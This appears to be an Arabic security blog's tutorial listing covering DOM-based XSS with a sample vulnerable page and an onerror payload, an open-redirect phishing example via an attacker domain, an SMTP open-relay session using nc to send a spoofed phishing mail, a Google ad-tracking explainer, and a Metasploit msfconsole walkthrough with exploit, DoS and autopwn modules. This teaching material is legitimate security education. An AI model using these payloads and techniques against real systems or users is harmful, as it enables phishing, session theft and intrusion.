محتويات التصنيف: "شروحات"
شرح ثغرات Dom-Based XSS بالتفصيل
ثغرات XSS او Cross-Site Scripting اصبحت واحدة من أشهر ثغرات تطبيقات الويب فهي تأتي في المرتبة الثالثة حسب تصنيف موقع OWASP لأشهر و أكثر 10 ثغرات انتشاراً في تطبيقات الويب لعام 2013 .
صحيح ان ثغرات الـ XSS لا تعد من الثغرات عالية الخطورة لأنها لا تؤثر بشكل مباشر على الموقع او الخادم و إنما تؤثر على جانب العميل الـ Client Side او المستخدم و تحتاج لإضافة القليل من الهندسة الاجتماعية حتى تصل إلى هجوم قوي من خلالها .
لكن هذا لا يمنع ان ثغرات XSS كانت سبباً أساسي في أختراق أكبر الشركات و المواقع العالمية كما حدث منذ أشهر مع المنتديات الخاصة بموقع ubuntu الشهير و تم سرقة معلومات قرابة الـ 2 مليون مستخدم عن طريق استغلال لثغرة XSS بالموقع كما ان ثغرات الـ Xss ايضا كانت سبباً رئيسي في اختراق موقع Apple للمطورين خلال نفس الفترة . فمن المؤكد أن هذا النوع من الثغرات قد يشكل خطورة أكبر بكثير من خطورة ثغرات الـ SQL Injection في حال قام الـهاكر باستغلالها بشكل ذكي و قوي .
موضوعنا اليوم سنتكلم فيه بشكل أساسي على نوع مختلف بعض الشئ من ثغرات الـ XSS و الذي يطلق عليه Dom-Based XSS و قد يكون الكثير ممن يقرؤون هذا المقال لم يتعرفوا إلى هذا النوع من ثغرات xss او يعرفوه اسماً فقط .
من المتعارف عند الجميع ان أشهر أنواع لثغرات XSS هي ما يطلق عليها الـ Reflected XSS و الـ Stored XSS .
و لكن يوجد ايضاً أنواع اخرى تقوم بنفس التأثير لثغرات XSS مثل الـ Flash XSS و Dom-Based XSS و الأخيرة هي التي سوف نقوم بالحديث عنها اليوم في هذة المقالة ان شاء اللًه .
ما هي فكرة ثغرات XSS و كيف تعمل؟
كما نعلم ثغرات XSS تكمن خطورتها في تعديل لمحتوى صفحات الموقع التي تظهر للمستخدم و ذلك عن طريق حقن اكواد HTML او Javascript , كانك تقوم بالضبط بالتعديل على ملفات الـ html و javascript الخاصة بالموقع من خلال احد برامح محرر صفحات الويب .فثغرات XSS تساعد المخترق على تعديل صفحات الموقع و عمل صفحات مزورة مع الاحتفاظ بنفس رابط الصفحة و الدومين , كما يستغلها لبعض لسرقة Sessions او الـ Cookies الخاصة بالمستخدمين و هو يعد اخطر استغلال لثغرات XSS و ذلك عن طريق استخدام داله جافا سكريبت التي تستطيع قراءة بينات الكوكيز مثل document.cookie و ايضاً يستخدم هاكرز أخرون ثغرات الـ XSS في اختراق صفحات الموقع في حال كانت الثغرة من نوع Stored Xss .
دعونا اولا نستعرض طريقة عمل XSS حتى يمكنا بعد ذلك فهم فكرة عمل ثغرات Dom Based Xss بسهولة , ببساطة ثغرات XSS تحدث عندما يقوم المستخدم بأرسل مدخل للصفحة و تقوم الصفحة بأخذ هذا المدخل من المستخدم وعرضه مباشرة كما هو في HTML عن طريق دوال البرمجة مثلا print و echo
مثال بسيط جداً على ذلك صفحة تطلب من المستخدم إدخال اسمه الشخصي
و يدخل اليها الاسم
Ahmed Aboul-Ela
بعد ذلك تقوم بعرض الجملة “Welcome Ahmed Aboul-ELa ”
و اذا استعرضنا html code يكون كالتالي
جميل , لكن ماذا سوف يحدث اذا أدخلت للصفحة اسماً مصحوب بـtags خاصة بالـhtml مثلا هذا الأسم
<h1> Ahmed Aboul-ELA </h1>
ببساطة سوف تكون النتيجة كالتالي
و اذا قمنا باستعراض html code هذة المرة سوف يصبح كالتالي
اذاً الأن تتضح لدينا المشكلة بوضوح , فعند كتابة الاسم مصحوباً بـ الـ tags الخاصة بالـhtml المتصفح هنا لم يفهم انه هذا هو مجرد اسم الشخص و لكنه قام بترجمة اكواد html في الاسم و قام بعرضة بالشكل المطلوب و عندها تغير شكل الاسم في الصفحة و أصبح بخط أكبر . اذاً فان المشكلة كلها كانت في ان الصفحة أخذت الاسم من المستخدم و أظهرته مباشرة دون اي تحقق من ان الاسم قد يحتوى على اكواد خاصة بالـ HTML .
دعونا الأن نحدد هنا من المسؤول عن أخذ الاسم من المستخدم في الصفحة و من المسؤول عن إظهار الأسم في html , في هذة الحالة فان المسؤول عن أخذ الاسم هي داله $_POST في لغة برمجة php و المسؤول عن إظهار الاسم في html هي داله echo . الأن هذة المقدمة كانت ضرورية لنا حتى نستطيع ان نستوعب فكرة عمل dom-based xss في الجزء التالي .
ما هي ثغرات Dom Based Xss و كيف تعمل ؟
ببساطة ثغرات XSS لا تختلف كثيراً في مفهموها عن ثغرات refelected xss و لكن الفرق بينها و بين ثغرات XSS في الأسلوب و الطريقة , فكما ذكرنا في ثغرات xss التقليدية فان من يقوم باستقبال المدخل من المستخدم هي لغة PHP عن طريق داله $_POST او $_GET التى تستطيع قرائه المدخلات من خلال form في صفحة ما او من خلال الرابط . لكن في حاله Dom-Based فأن من يقوم بأخذ المدخل من المستخدم هي دوال الـ javascript و من يقوم بطباعة المدخل ايضاً هي دوال الـ javascript دون الحاجة إلى اي لغات برمجة أخرى او حتى web server لترجمة و تشغيل الملفات .
سوف نطلق على دوال التي تقوم بأخذ المدخل من المستخدم هي دوال الـ sources و ان الدوال التي تقوم بطباعة هذا المدخل و إظهاره في html هي sinks . و الأن نبدأ بشرح بعض دوال sources و sinks و نرى كيف يمكن ان تؤدي بعد ذلك إلى ثغرات XSS .
ما هي دوال Sources ؟
دوال الـsources هي دوال في لغة javascript و التي من خلالها يمكن ان تقوم بإرسال مدخل إلى الصفحة في هذه الحالة غالبا يكون المدخل من المستخدم مرسل من خلال رابط الصفحة او url مثلا لدينا الرابط التالي :
https://site.com/home/file.html?name=ahmed#Securtiy4arabs
فمن الممكن من خلال هذة الدوال ان تقوم بقراءة رابط الصفحة بالكامل او فقط مسار الصفحة home/file.html/ او قيمة الاسم المدخل ahmed او الهاش تاج security4arabs كأنك بالضبط تقوم عمل تحليل الرابط و تقسيمه إلى إجزاء , جزء هو مسار الصفحة و اسم ملف الصفحة و جزء هي المتغيرات او parameters المرسلة إلى الصفحة
و يمكن عمل ذلك من خلال javascript ببساطة عن طريق الدوال التالية :
دوال تقوم بقرائه رابط الصفحة بالكامل
- document.URL
- document.documentURI
- document.URLUnencoded
- document.baseURI
- location
- location.href
مثال على ذلك اقوم بكتابة صفحة تحتوى على كود الجافا سكريبت التالي :
<script>
alert(location.href);
</script>
و بعد ذلك اقوم بتشغيل الصفحة و تكون النتيجة كالتالي :
نلاحظ ان الصفحة قامت باظهار msg box يحتوى على رابط الصفحة التي قمت بتشغيلها كما قمنا بكتابة في ملف html , و يكون نفس الحال مع باقي الدوال التي قمنا بذكرها , سوف تظهر رابط الصفحة بالكامل , الأن نتطرق إلى داله اخرى تقوم بقرائه اسم الصفحة فقط دون المدخلات إليها او اسم domain .
دوال تقوم بقرائه اسم الصفحة و مسارها
location.pathname
مع استخدام نفس كود الصفحة السابق و استبدال فقط اسم الدالة location.href باسم الدالة يصبح لدينا النتيجة التالية
الفكرة بسيطة أليست كذلك ؟ الأن نستكمل ذكر بعض الدوال الأخرى و التي تستطيع قرائه جزء من رابط الصفحة كالدوال السابقة .
دوال تقوم بقرائه المدخلات او parameters فقط المرسلة إلى الصفحة
- location.search
مثال على ذلك قمت بتشغيل الصفحة بهذة الدالة و ارسلت اليها بعض المدخلات مثلا
https://site.com/page.html?name=ahmed
تكون النتيجة كالتالي :
و اخيرا نقوم بذكر دالة تستخدم كثير في مواقع و هي داله تقوم بقرائة الـ hashtag # في الرابط
دوال تقوم بقرائه HashTag
- location.hash
نقوم بتشغيل الصفحة مرة اخرى بهذة الدالة و نرى النتيجة
قمنا فقط بفتح رابط الصفحة مع اضافة #Ahmed Aboul-Ela في نهاية الرابط و قامت الصفحة بأظهار هذا الجزء فقط من الرابط الأن تعرفنا الى جميع دوال sources الأن ننطلق إلى الدوال التي تستطيع ان تظهر هذة sources في مخرج الصفحة
ما هي دوال Sinks ؟
دوال sinks ببساطة كما ذكرنا هي المسؤلة عن إظهار و كتابة القيمة المرسلة من خلال داله من دوال sources بالظبط كداله print في لغات البرمجة
دوال الـsinks ليست صعبة و سوف اقوم بذكر اهمها
- داله document.write و doucment.writeln
هي داله المكافئة لدالة print في لغات البرمجة فتقوم مباشرة بطباعة الكلام داخل كود HTML
مثال على ذلك صفحة تحتوى على كود HTML التالي
<script>
document.write(‘hello world’) ;
</script>
ستكون النتيجة لدينا كما في الصورة
- داله anyElement.innerHTML
هذه الدالة ببساطة تقوم بقراءة او كتابة كود بداخل Tag معين في الصفحة
مثلا document.body.innerHTML سوف تقوم بقرائة محتوى <body> </body> بالكامل
و اذا قمت بعمل document.body.innerHTML = ‘ahmed’ سوف يقوم بعمل استبدال كامل لمحتوى تاج body و كتابة فيه الكلمة Ahmed
مثال على ذلك كود الصفحة التالي
<html>
<body>
Just a text in body tag
<script>
document.body.innerHTML = ‘www.security4arabs.com’;
</script>
</body>
</html>
عند تشغيل الصفحة ستقوم الـJavaScript بتغير محتوى الصفحة الأصلي
و المكتوب فيه Just a text in body tag بـالكلمة www.security4arabs.com
كما نلاحظ لم تظهر الجملة just a text in body tag الأن تعرفنا إلى اهم دوال html sinks و التي تستطيع كتابة كلام في الصفحة و تعرفنا الى دوال Sources التي تستطيع ان ترسل مدخل إلى الصفحة من خلال الرابط
الأن نتطرق إلى الخطوة الأخيرة و هي كيفية حدوث ثغرات dom based xss من خلال هذة الدوال
كيف تحدث ثغرات Dom-Based Xss باستخدام دوال Sources و Sinks
كما ذكرنا في السابق ان xss تحدث عندما يرسل المستخدم للصفحة مدخل و تقوم الصفحة بأخذ المدخل و عرضه مباشرة داخل الصفحة
و نحن الأن تعرفنا كيف من الممكن ان تقوم بقراءة جزء من رابط الصفحة كمدخل و تعرفنا كيف يمكن ان نقوم بكتابة كلام من خلال javascript بداخل الصفحة
اذاً الأن يتحقق لدنيا طرفي المعادلة التي تقوم بإحداث ثغرات XSS , نرى في الجزء التالي كيف يمكن ان تقوم بتنفيذ ثغرة XSS فقط من خلال Javascript
لن اسرد المزيد من الكلام النظري و دعونا ننتقل مباشرة إلى كود الصفحة التالي و نرى ماذا تفعل
<html>
<body>
<script>
document.body.innerHTML = location.hash;
</script>
</body>
الأن فقط بالنظر لكود الصفحة يمكن فهم ماذا تفعل
ببساطة الصفحة تقوم بكتابة location.hash و هو الهاش تاج # الذي يأتي في نهاية رابط الصفحة بداخل <body> </body>
نفتح الصفحة الأن من خلال المتصفح و نرسل اليها اي كلام بعد # لنرى اذا كان هذا الكلام صحيح ام لا
جميل لقد قامت الصفحة بطباعة الـhash tag كما كتبناه و عند تغير كلمة Test سوف تتغير النتيجة في الصفحة
طيب الأن ماذا سيحدث اذا ارسلنا كلمه test مصحوبة باكواد html او javascript ؟
مثل سوف ارسل للصفحة Xss Payload كالنالي :
<img src=x onerror=alert(1337)>
دعونا نرى النتيجة 🙂
هل لاحظت ما حدث ؟ الأن اتضحت لدنيا ثغرة xss بوضوح و تم تشغيل كود alert لـ 1337 🙂 هذا كان فقط مثال بسيط يوضح لدينا فكرة عمل ثغرات Dom-Based Xss
قد يسألني احد الأن هل تعتقد ان مثل هذة الثغرات قد تكون موجودة في كثير من المواقع !؟
الأجابة بالطبع نعم فثغرات Dom Based Xss ظهرت في اكبر المواقع العالمية مثل google , microsoft , yahoo , Adobe و غيرهم الكثير
و هذا مثال على احدى الثغرات الذي قمت باكتشافها بنفسي و ابلغت عنها في شركة Redhat
و الثغرة كانت في صفحة التسجيل الرئيسية لإنشاء الحسابات لموقع redhat.com
كيف يمكن إكتشاف ثغرات Dom Based Xss ؟
إكتشاف ثغرات Dom-Based Xss هي عملية ليست سهله لأنها تحتاج إلى فحص و تدقيق في اكواد Javascript و اغلب المواقع الأن تستخدم الكثير من اكواد Javascript قد يصل الكود فيها إلى الاف من الأسطر و سيصبح من الصعب ان تقوم بعمل ذلك و فحص هذة الأكواد بشكل يدوي
لكن اصبح هناك ادوات تساعد على اكتشاف مثل هذة الثغرات و من اشهر و اقوى هذة الأدوات هي اداة Dominitor و لكنها ليست مجانية للأسف والأداة هي عبارة عن متصفح firefox معدل يستطيع بتبع الـ Dom في الصفحات و يمكنه اكتشاف sinks و sources بمجرد زيارة الصفحة من خلال المتصفح
واليكم الفيديو التالي الذي يوضح فيه كيف استطاع مبرمج الأداة اكتشاف ثغرة Dom Based Xss في Google Plus Button
فيديو اخر لإكتشاف ثغرة اخرى في موقع google
و إلى هنا نكون قد غطينا اهم النقاط الأساسية في موضوعنا اليوم و اتمنى ان يكون الشرح كان واضحاً و سهلأً 🙂
المراجع
شرح ثغرات Unvalidated Redirects وتطبيقها علي موقع Kaspersky
قبل أن أبدأ بشرح ثغرات ال Unvalidated Redirects
دعونا نعطي مثال بسيط حتي نفهم فكرة ال (التحويل)Redirection
المستخدم تلقي رسالة علي بريده الإلكتروني بالمحتوي التالي:
عزيزي المستخدم .. يمكنك زيارة المدونة الخاصة بموقعنا من خلال الرابط التالي:
http://www.goodsite.com/link.php?url=http://blog.goodsite.com
إذا عندما يقوم المستخدم بالضغط علي الرابط بالإعلي فإنه سيتم توجيهة إلي http://blog.goodsite.com
إذا كيف يمكن إستغلال الرابط أعلاه؟
الأمر بسيط جدا .. حيث سيقوم المهاجم/المخترق بإستبدال الرابط الذي سيتم تحويل المستخدم إليه برابط آخر تابع له حتي يتم تحويل المستخدم إلي موقع المهاجم.
مثال:
عزيزي المستخدم .. يمكنك زيارة المدونة الخاصة بموقعنا من خلال الرابط التالي:
http://www.goodsite.com/link.php?url=http://blog.attacker.com
إذا عندما يقوم المستخدم بالضغط علي الرابط بالإعلي فإنه سيتم توجيهة إليhttp://blog.attacker.com
ولكن كما تري فقد تم تحويل المستخدم من خلال موقع goodsite.com والذي يفترض به ان يكون موقع موثوق لدي المستخدمين.
ما هي الخطورة التي ستقع علي المستخدم من خلال هذا النوع من الثغرات؟
1- تحويل المستخدم إلي صفحات تسجيل دخول مزورة شبيهه تماما لنفس صفحة تسجيل الدخول الخاصة بالموقع الأصلي وربما يكون إسم النطاق(Domain name) أيضا شبيه لنفس إسم النطاق الخاص بالموقع الأصلي وبالتالي سرقة بيانات تسجيل الدخول الخاصة بالمستخدم.
مثال: بدلا من أن يتم تحويلك لموقع الفيس بوك www.facebook.com يتم تحويلك لموقع www.faecbook.com هل لاحظت الفارق؟
2- تنزيل ملفات خبيثة (Trojans) علي أجهزة المستخدمين .. حيث يمكن للمهاجم تحويل المستخدم علي صفحه تستغل ثغرة في البرمجيات المنصبة علي جهاز المستخدم .. برمجيات مثل Java, Flash Player, Adobe Reader وغيرها
إذا ما السبب في حدوث تلك الثغرة؟ وكيف للمبرمج أن يحمي نفسه منها؟
الخطأ ان المبرمج لا يستخدم أي نوع من أنواع التحقق(validation) حتي يتأكد من الرابط الذي سيتم تحويل المستخدم إليه!
بعض طرق الحماية من تلك الثغرة:
1- Security Tokens
ما هي ال Security tokens
هي أرقام يتم تكوينها بنوع ما من التشفير(علي حسب المبرمج) وكمثال فهي تكون تجميعه من رابط الموقع + التوقيت الحالي + Salt
مثال:
“TRIffZRIE_yke-3Z1pxFaHaDC5FOPEXEGx6LpRZdjW”
فيصبح الرابط بالشكل التالي:
http://www.goodsite.com/link.php?url=http://blog.goodsite.com&token=TRIffZRIE_yke-3Z1pxFaHaDC5FOPEXEGx6LpRZdjW
اذا وظيفة الToken في هذه الحالة هي التأكد من أن الرابط الذي سيتم تحويل المستخدم إليه هو رابط موثوق منه ومسجل في قاعدة بيانات الموقع ولم يتم التلاعب به لان كل رابط يكون له Security Token واحد فقط.
2- Black & White List
حيث يقوم المبرمج بإنشاء قائمة من المواقع الموثوق بها والتي يتم تحويل المستخدمين إليها وما عدا تلك المواقع فلا يتم تحويل المستخدم الي أي شئ اخر بل يظهر صفحة خطا في حالة تم التلاعب بالموقع الذي يتم تحويل المستخدم إليه.
نأتي هنا لمثال عملي علي موقع شركة Kaspersky عملاق شركات إنتاج برمجيات الأمن المعلوماتي .. حيث كان الموقع مصاب بثغرة من هذا النوع الذي نتحدث عنه اليوم
وفي الفيديو التالي نجد انه تم إستغلال الثغرة بطريقة المحاكاة لمحاكاة إستغلال الثغرة من قبل الهاكرز واستخدامها في نشر الملفات الخبيثة (Trojans) مستغلين إسم وثقة Kaspersky لدي المستخدمين.
تخيل معي عزيزي القارئ رابط يأتيك من شركة كاسبرسكي(وهي مصدر موثوق لا محاله) ويطلب منك تحميل ملف! أو صفحه يتم تحويلك إليها من موقع كاسبركي وتطلب منك بيانات معينه او تعرض عليك تنزيل آخر إصدار من برنامج كاسبرسكي المدفوع وبشكل مجاني!
“أكثر المصادر ثقة لك .. قد يكون هو عدوك الأسوء!”
الفيديو للمزيد من التفاصيل:
الثغرة في الفيديو تم إكتشافها من قبل كاتب الموضوع وتم إبلاغها لشركة كاسبرسكي فور إكتشافها وهي مرقعه في الوقت الحالي.
فحص خادم الـSMTP و خطورة فتح الـ Relay
نعلم جميعا أنه من أهم مراحل الاختراق و من أكثرها فائدة هي مرحلة الـ Service Enumeration و التي قد تصل بنا من مرحلة جمع معلومات إلى مرحلة اختراق أسهل و أكثر فعالية. في هذا الموضوع سأعطي مثال بسيط عن خادم بريد(Mail Server) يسمح لخاصية الـ Relay و التي -باختصار- تسمح لأجهزة أخرى أن تتصل بخادم البريد على المنفذ 25 لإرسال بريد عن طريقه. هذه المشكلة لا تعتبر ثغرة نظام أو تطبيق , بل عيب في إعداد الـ Mail Server من قبل مدير النظام.
كل ما علينا هو الاتصال بالمنفذ 25/tcp و من ثم تنفيذ الأوامر الأساسية التي يستخدمها بروتوكول الـSMTP في إرسال بريد.
[HACKER@machine ~]$ nc -nv Mail-ServerIP 25
Connection to Mail-ServerIP 25 port [tcp/*] succeeded!
220 mail1.domain.com ESMTP Sendmail X.xx.y/X.xx.y; Sun, 25 Mar 2012 11:03:27 +0300
EHLO google.com
250-mail1.domain.com Hello Hacker-PubIP.rev.home.ne.jp [Hacker-PubIP], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-DELIVERBY
250 HELP
MAIL FROM: [email protected]
250 2.1.0 [email protected]… Sender ok
RCPT TO: [email protected]
250 2.1.5 [email protected]… Recipient ok
DATA
354 Enter mail, end with “.” on a line by itself
Hi please ,,
please find my Pic on
http://badSite.com/profile.html
Thanks
.
250 2.0.0 q2P83R4D009362 Message accepted for delivery
QUIT
221 2.0.0 mail1.domain.com closing connection
نفذنا أوامر بسيطة جدا لكن هناك الكثير لتفعله(اترك الباقي لكم), لتتعرف على المزيد من أوامر البروتوكول SMTP
و الرسالة ستصل إلى بريد الضحية..
للحماية من هذا النوع من الهجمات , يجب أت تقفل أو تحدد الـ Relay في خادم البريد و من الجدار الناري.
كيف يتعقب جوجل مستخدميه
لابد أنّك لاحظت خلال تصفحك لبعض مواقع الانترنت أن هناك إعلانات تقوم هذا المواقع بعرضها متعلقة بموضوع بحثت عنه في الانترنت. هذه المقالة سوف تشرح لك ما الذي يجري في الخلفية حتى تقوم المواقع بطرح هكذا اعلانات.
أحمد طالب جامعي متخصص في علم الحاسوب، ويريد ان يطوّر من مهاراته. قام باستخدام جوجل بالبحث عن فيديوهات تعليمية من انتاج شركة TrainSignal
الكلمات المفتاحية التي استخدمها احمد يتمّ ارسالها الى موقع TrainSignal مرفقاً معها معلومات حول الحاسوب والمتصفح…إلخ. هذه المعلومات يمكن أن تقوم بتحديد الشخص (احمد في هذا المثال). يمكن القراءة حول هذا الموضوع في هذا موضوع الدكتور علي الشمري هل تعتقد بإن إعدادات متصفحك نادر نوعه أو فريد من نوعه؟
أحمد يقوم بزيارة موقع آخر، كموقع يوتيوب فتظهر له إعلانات حول منتجات شركة TrainSignal
قد يقول قائل وماذا يعني ذلك؟ الموقع الذي زرته موقع عام وموقع عشوائي. وهذا صحيح، ولكن الاعلان يقوم به طرف ثالث. هذا الطرف الثالث يقوم ببناء ملف حولك. كجنسك، عمرك، موقعك، الأشياء التي تحبها..إلخ. ولهذا ترى هذه الاعلانات ترافقك اثناء تصفحك.
جميل يقول أحمد، ولكن ما المقلق في أن يقوم طرف ثالث بعمل ملف عني؟ هذا الملف يتمّ بيعه سواء للشركات التجارية أو البنوك أو شركات البطاقات الائتمانية. وقد يتمّ طلبه من قبل أطراف امنية أو حكومية. لهذا من الأفضل استخدام محركات بحث و اضافات تقوم بحماية خصوصية المستخدم. وهذا ما سوف نقوم بتغطيته إن شاء الله في مقال قادم.
—
هذا المقال مبني على المادة الموجودة هنا
استخدام بيئة العمل Metasploit عن طريق Msfconsole
مقدمة
يتعبر Msfconsole هو الاشهر والاكثر استخدام في MSF. وهو يسمح با الوصل الوهمي الى كافة الخيارات المتوفرة في MSF. وعند استخدامك Msfconsole في البداية سوف تجد صعبوه في التعامل، لكن مع تعلم (syntax)تنفيذ الاومر سوف تقدر قوة هذة الواجهه.
فوائد msfconsole :
يدعم طريق الوصول الى معظم الخصائص المتوفرة في MSF.
يعتبر اكثر والواجهات استقراراً في الاستخدام.
يدعم التكملة التلقائية لتنفيذ الاوامر.
أمكانية تنفيذ يعض الاوامر الاضافية مثل (ping… وغيرها).
تشغيل (msfconsole):
بمكانك تشغيل msfconsole بكل سهوله بختيارة من القائمه في الباك تراك او بتنفيذ الامر في shell “./msfconsole” وبامكانك تمرير متغير “-h” لمشاهدة متغيرات خيارات الاستخدام.
المساعدة help:
قم بادخال الامر “help ” او “؟” وسوف تقوم بعرض العديد من الاوامر با الاضافة الى وصف لما تستخدم هذه الاوامر.
التكملة التلقائية :
صمم msfconsole ليكون سريع في الاستخدام واحد الخصائص التي تساعد في هذا الغرض هي التكلمة التلقائية(tab completion). مع وجود العديد من موديلز(modules)، يصعب عليك تذكراسم او مسار المديول(module) الذي تريد استخدامه.
وكما هو العادة في العديد من shells تقوم با الضغط على “tab” والذي سوف يقوم بعرض العديد من الخيارات او سوف يكمل تلقائياً اذا كان خيار واحد فقط .
use exploit/windows/dce
use .*netapi.*
set LHOST
set TARGET
set PAYLOAD windows/shell/
exp
show
أمر العودة الى الخلف (back):
عندما تنتهي من العمل مع موديل (module) معين او انك قد اخترت موديل(module) بالخطاء، في هذه الحالة تريد العودية الى الحالة السابقة لك، قم بادخال الامر “back” لكي تعودي الى ماقبل اختيارك.
msf auxiliary(ms09_001_write) > back
msf >
أمر الفحص (check) :
يقوم بفحص نظام الهدف هل هو مصاب با الاستغلال ام لا، قبل تنفيذ الاستغلال. وهذا الامر لايدعم العديد من الاستغلالات.
msf exploit(ms04_045_wins) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
-- ----
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host
(192.168.1.114:42)
أمر الاتصال (connect):
هذا الامر يقوم بعمل شبية بعمل netcat وهو مبني ضمن msfconsole ويدعم SSL، proxies ،pivoting و ارسال الملفات. بتنفيذ الامر “connect” مع ايبي ادرس (IP Address ) و منفذ(Port)، وبمكانك الاتصال با الجهاز البعيد من خلال msfconsole مثل ماهو netcat او telnet.
msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:
وبتمرير المتغير “-s” في الاتصال سوف يكون الاتصال عبر SSL.
msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
Server: Apache/2.2.11
Location: http://www.metasploit.org/
أمر ((exploit مقابل (run) :
عندما يتم تنفيذ اي إستغلال يكون بتنفيذ امر “exploit”، بينما عندما تستخدم auxiliary module يكون الانسب بتنفيذها من خلال الامر “run”. وايضا يمكنك استخدام امر “exploit”.
msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
...بقية النتائج...
أمر (irb) :
بتنفيذ هذا الامر تقوم با الدخول على سكربت لغة الروبي وتستطيع تنفيذ اوامر الروبي مباشرة من msfconsole، وهذه الميزة مفيدة جداً حيث تساعدك على فهم Framework.
msf > irb
[*] Starting IRB shell...
>> puts "Hello, Fayez!"
Hello, Fayez!
>> Framework::Version
=> "3.7.0-release"
أمر (jobs) :
يقوم بعرض وإدارة المديول(modules) التي تشتغل في الخلفية(Background). وبتنفيذ امر “jobs” يكون بمكانك عرض وإنها
هذه الاعمل(jobs).
msf exploit(ms08_067_netapi) > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
.-K Terminate all running jobs
. -h Help banner
-i Lists detailed information about a running job.
-k Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and –l.
أمر (load/unload):
بتنفيذ أمر لود “load” متبوع بـاسم إضافة(plugin) من الاضافات التي تكون متواجدة ضمن مجلد (plugin) في metasploit. وتمرر المتغيرات با الشكل التالي ” key=val” داخل وامر الشل.
msf > load
Usage: load [var=val var=val ...]
Load a plugin from the supplied path. The optional
var=val options are custom parameters that can be
passed to plugins.
msf >; load pcap_log
[*] Successfully loaded plugin: pcap_log
بلمقابل، امر “unload” يقوم بازالة ماتم تحميلة في الامر السابق.
msf >; unload pcap_log
Unloading plugin pcap_log...unloaded.
أمر (loadpath) :
أذا كان لديك بعض payloads، encoders او استغلال لثغرة يوم الصفر بمكانك تحديد المسار للمديول(module) الخاص بك. حيث ان هذا الامر يستخدم لإضافة مسار لموديلز(modules) طرف ثالث.
msf >; loadpath /home/secret/modules
Loaded 0 modules.
أمر (resource) :
بعض انواع الهجوم مثل Karmetasploit تستخدم لتنفيذ عدد من الاوامر المرتبة بشكل متسلسل داخل ملف دفعي(batch file) يتم تنفيذه من خلال msfconsole بتنفيذ امر “resource” متبوع باسم الملف.
msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
…باقي النتائج…
وهذه الملفات الدفعية(batch files) تساعد في تسريع الاختبار(testing) والتطوير(development) ، با الاضافة الى انه يسمح للمستخدم بتنفيذ العديد من المهام بشكل اتوماتيكي او اّلي، وباستطاعتك تنفيذ الملف في عملية بداء التشغيل msfconsole بتمرير متغير ‘-r’. وفي المثالي التالي سوف نقوم بنشاء ملف يظهر اصدار metasploit في بداء التشغيل
أمر (route) :
يسمح هذا الامر بإعادة توجية السوكيت(sockets) من خلال session او comm. ولكي يضيف امر إعادة التوجية تقوم بتمرير السب نت (subnet) وقناع الشبكة (network mask) متبوع برقم session او comm. لاحظ المثال التالي.
msf exploit(ms08_067_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 3
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.1.0 255.255.255.0 Session 3
أمر (info) :
سوف يقوم بتزويدك بمعلومات تفصيلية عن موديل(module) معين ويقوم بعرض كافة الخيارات و الاهداف المصابة ومعلومات اخرئ.
و امر ‘info’ سوف يقوم بتزويدك با المعلومات التالية :
معلومات عن الكاتب و الرخصة.
مراجع الثغرة مثل (CVE,BID.. الخ).
اي من payload التي تشتغل فقط مع هذا Module.
msf > info dos/windows/smb/ms09_001_write
Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo
أمر (set/unset) :
يسمح للمستخدم بضبط إعدادات وخيارات بيئة العمل و المتغيرات للمويل(module) الذي تعمل علية.
msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.1.1 yes The target address
RPORT 445 yes Set the SMB service port
في الايام الاخير تم اضافة ميزة جديدة في بيئة عمل metasploit و هي أستخدام مشفرات(encoders) وقت التشغيل (run time) وهذه تكون مفيدة في تطوير الاستغلال عندما لا تكون متاكد اي نوع من الباي لود(payloads) سوف يشتغل مع الاستغلال.
msf exploit(ms08_067_netapi) > show encoders
Compatible encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
